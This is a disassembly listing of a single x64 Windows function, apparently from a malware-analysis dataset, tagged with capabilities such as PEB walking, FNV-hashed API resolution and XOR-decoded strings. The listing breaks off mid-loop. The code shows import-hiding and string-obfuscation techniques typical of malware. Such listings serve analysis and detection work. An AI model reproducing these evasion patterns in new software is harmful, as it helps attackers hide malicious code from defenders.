Function at 0x140012a30
Capabilities:
Access peb ldr_data
Encode data using xor
Enumerate gui resources
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push rbx
push rdi
push r13
lea rbp, [rax - 0x68]
sub rsp, 0x148
mov qword [rax + 0x10], rsi
lea rcx, [0x140012810]
mov qword [rax + 0x18], r12
xor edx, edx
mov qword [rax + 0x20], r14
mov qword [rax - 0x28], r15
call qword [sym.imp.USER32.dll_EnumWindows]
mov r8, qword [0x1400b9520]
test r8, r8
jne 0x140012c11
mov rax, qword gs:[0x60]
xor r11d, r11d
mov r10d, 0x206b6b9a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140012aed
psrldq xmm0, 8
mov edx, 0x8903bd8c
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140012ae4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140012ad0
cmp edx, r11d
jne 0x140012bf1
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x140012bf1
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140012bf1
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x8903bd8c
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140012b67
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140012b50
cmp edx, r10d
je 0x140012b73
test r8d, r8d
jne 0x140012b30
jmp 0x140012bf1
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x140012c0a
lea rax, [r15 + rdi]
cmp r8, rax
jae 0x140012c0a
movzx eax, byte [r8]
mov r11d, 0x8903bd8c
mov r10d, r11d
cmp al, 0x2e
je 0x140012bc8
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140012bb0
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x140012bed
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x140012bd4
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140012c07
cmp qword [rax + 0x30], 0
jne 0x140012aa0
xor r8d, r8d
mov qword [0x1400b9520], r8
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
lea rcx, [rsp + 0x30]
movsd xmm0, qword [str.dgytajw_]
xor al, 0x3c
movsd qword [rsp + 0x30], xmm0
xor edx, edx
xor byte [rsp + 0x31], 0x35
xor byte [rsp + 0x32], 0x36
xor byte [rsp + 0x33], 0x37
xor byte [rsp + 0x34], 0x38
xor byte [rsp + 0x35], 0x39
xor byte [rsp + 0x36], 0x3a
xor byte [rsp + 0x37], 0x3b
mov byte [rsp + 0x38], al
movaps xmmword [rsp + 0x130], xmm6
mov byte [rsp + 0x30], 0x50
call r8
mov ebx, dword [reloc.WS2_32.dll_accept]
mov r13, 0xffffffffffffffff
test rax, rax
je 0x140012e36
mov eax, dword [0x1400aa270]
xor r8d, r8d
movsd xmm0, qword [str.dgytajw]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400aa274]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x1400aa276]
mov byte [rsp + 0x4e], al
movsd qword [rsp + 0x40], xmm0
cmp ebx, 2
jl 0x140012db3
movdqa xmm2, xmmword [0x1400aa580]
mov r8d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.dgytajw]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400aa610]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x40], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x44]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400aa610]
xorps xmm2, xmm0
movd dword [rsp + 0x44], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140012dc0
xorps xmm0, xmm0
mov qword [rsp + 0x60], 0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x40]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140012e13
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b9558]
test r8, r8
jne 0x140012fe7
mov rax, qword gs:[0x60]
xor r11d, r11d
mov r10d, 0x35375268
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140012ebd
psrldq xmm0, 8
mov edx, 0x865b444e
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140012eb4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140012ea0
cmp edx, r11d
jne 0x140012fc1
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x140012fc1
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140012fc1
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x865b444e
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140012f37
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140012f20
cmp edx, r10d
je 0x140012f43
test r8d, r8d
jne 0x140012f00
jmp 0x140012fc1
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x140012fda
lea rax, [rdi + r15]
cmp r8, rax
jae 0x140012fda
movzx eax, byte [r8]
mov r11d, 0x865b444e
mov r10d, r11d
cmp al, 0x2e
je 0x140012f98
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140012f80
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x140012fbd
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x140012fa4
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140012fd7
cmp qword [rax + 0x30], 0
jne 0x140012e70
xor r8d, r8d
mov ebx, dword [reloc.WS2_32.dll_accept]
mov qword [0x1400b9558], r8
mov eax, dword [0x1400aa2a0]
xor edi, edi
movsd xmm0, qword [str.PWQAQMxPML_]
mov r9d, edi
mov dword [rbp - 0x60], eax
movzx eax, byte [0x1400aa2a4]
mov byte [rbp - 0x5c], al
movsd qword [rbp - 0x68], xmm0
cmp ebx, 2
jl 0x140013114
movdqa xmm2, xmmword [0x1400aa580]
mov r9d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
mov eax, dword [0x1400aa610]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.PWQAQMxPML_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
movd xmm1, dword [rbp - 0x64]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x64], xmm2
movsxd rax, r9d
lea r10, [rbp - 0x68]
add r10, rax
nop
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0xd
jl 0x140013120
xor edx, edx
lea rcx, [rbp - 0x68]
call r8
test rax, rax
je 0x140013322
cmp byte [0x1400aa125], dil
mov eax, dword [0x1400aa120]
movsd xmm0, qword [str.PWQAQMezRKQ_A]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1400aa124]
mov word [rsp + 0x7c], ax
movsd qword [rsp + 0x70], xmm0
je 0x1400132e1
mov r8d, edi
cmp ebx, 2
jl 0x1400132a2
movdqa xmm2, xmmword [0x1400aa580]
mov r8d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
mov eax, dword [0x1400aa610]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.PWQAQMezRKQ_A]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x70], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
movd xmm1, dword [rsp + 0x74]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1400132b0
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rsp + 0x70]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140013300
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b93d8]
test r8, r8
jne 0x1400134e9
mov rax, qword gs:[0x60]
mov r11d, edi
mov r10d, 0xc4956966
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x1400133ad
psrldq xmm0, 8
mov edx, 0xb0ab8040
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400133a4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140013390
cmp edx, r11d
jne 0x1400134c1
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x1400134c1
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400134c1
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0xb0ab8040
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140013427
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140013410
cmp edx, r10d
je 0x140013436
test r8d, r8d
jne 0x1400133f0
jmp 0x1400134c1
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x140013966
lea rax, [r15 + rdi]
cmp r8, rax
jae 0x140013966
movzx eax, byte [r8]
mov r11d, 0xb0ab8040
mov r10d, r11d
cmp al, 0x2e
je 0x140013498
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140013480
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x1400134bd
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x1400134a4
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1400134d7
cmp qword [rax + 0x30], 0
jne 0x140013360
xor edi, edi
mov r8d, edi
mov ebx, dword [reloc.WS2_32.dll_accept]
mov qword [0x1400b93d8], r8
mov eax, dword [0x1400a9ce0]
mov r9d, edi
movsd xmm0, qword [str.lafzYPTNSZ_]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x1400a9ce4]
mov byte [rbp - 0x4c], al
movsd qword [rbp - 0x58], xmm0
cmp ebx, 2
jl 0x140013614
movdqa xmm2, xmmword [0x1400aa580]
mov r9d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
mov eax, dword [0x1400aa610]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.lafzYPTNSZ_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 0x58], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
movd xmm1, dword [rbp - 0x54]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x54], xmm2
movsxd rax, r9d
lea r10, [rbp - 0x58]
add r10, rax
nop
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0xd
jl 0x140013620
xor edx, edx
lea rcx, [rbp - 0x58]
call r8
test rax, rax
je 0x140013853
movzx eax, word [0x1400a9d20]
mov r8d, edi
mov word [rbp - 0x80], ax
movzx eax, byte [0x1400a9d22]
mov byte [rbp - 0x7e], al
movups xmm0, xmmword [0x1400a9d10]
movups xmmword [rsp + 0x70], xmm0
cmp ebx, 2
jl 0x1400137c7
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rsp + 0x74]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400136c0
cmp r8d, 0x13
jge 0x140013811
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1400137e0
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rsp + 0x70]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140013830
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b9548]
test r8, r8
jne 0x140013a19
mov rax, qword gs:[0x60]
mov r11d, edi
mov r10d, 0x4da5b1a0
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x1400138dd
psrldq xmm0, 8
mov edx, 0x237b8946
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400138d4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x1400138c0
cmp edx, r11d
jne 0x1400139f1
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x1400139f1
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400139f1
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x237b8946
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140013957
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140013940
cmp edx, r10d
je 0x14001396d
test r8d, r8d
jne 0x140013920
jmp 0x1400139f1
xor edi, edi
jmp 0x1400134dc
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x140013f26
lea rax, [rdi + r15]
cmp r8, rax
jae 0x140013f26
movzx eax, byte [r8]
mov r11d, 0x237b8946
mov r10d, r11d
cmp al, 0x2e
je 0x1400139c8
nop dword [rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x1400139b0
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x1400139ed
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x1400139d4
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140013a07
cmp qword [rax + 0x30], 0
jne 0x140013890
xor edi, edi
mov r8d, edi
mov ebx, dword [reloc.WS2_32.dll_accept]
mov qword [0x1400b9548], r8
movzx eax, byte [0x1400aa258]
mov r9d, edi
mov byte [rbp - 0x80], al
movups xmm0, xmmword [str.fPEXMKY]
movups xmmword [rsp + 0x70], xmm0
cmp ebx, 2
jl 0x140013b77
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rsp + 0x74]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r9d
lea eax, [r9 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r9d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r9d, 0x10
jl 0x140013a70
cmp r9d, 0x11
jge 0x140013bc1
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0x11
jl 0x140013b90
cmp byte [0x1400a9cd1], 0
movsd xmm0, qword [str.cQU_QWTK]
movzx eax, word [0x1400a9cd0]
movsd qword [rsp + 0x20], xmm0
mov word [rsp + 0x28], ax
je 0x140013c16
xor byte [rsp + 0x21], 0x35
xor byte [rsp + 0x22], 0x36
xor byte [rsp + 0x23], 0x37
xor byte [rsp + 0x24], 0x38
xor byte [rsp + 0x25], 0x39
xor byte [rsp + 0x26], 0x3a
xor byte [rsp + 0x27], 0x3b
xor byte [rsp + 0x28], 0x3c
xor byte [rsp + 0x29], 0x3d
mov byte [rsp + 0x20], 0x57
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x20]
call r8
test rax, rax
je 0x140013e12
mov eax, dword [0x1400a9600]
mov r8d, edi
mov dword [rbp - 0x48], eax
movzx eax, word [0x1400a9604]
mov word [rbp - 0x44], ax
movzx eax, byte [0x1400a9606]
mov byte [rbp - 0x42], al
movups xmm0, xmmword [0x1400a95f0]
movups xmmword [rbp - 0x58], xmm0
cmp ebx, 2
jl 0x140013d97
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rbp - 0x54]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
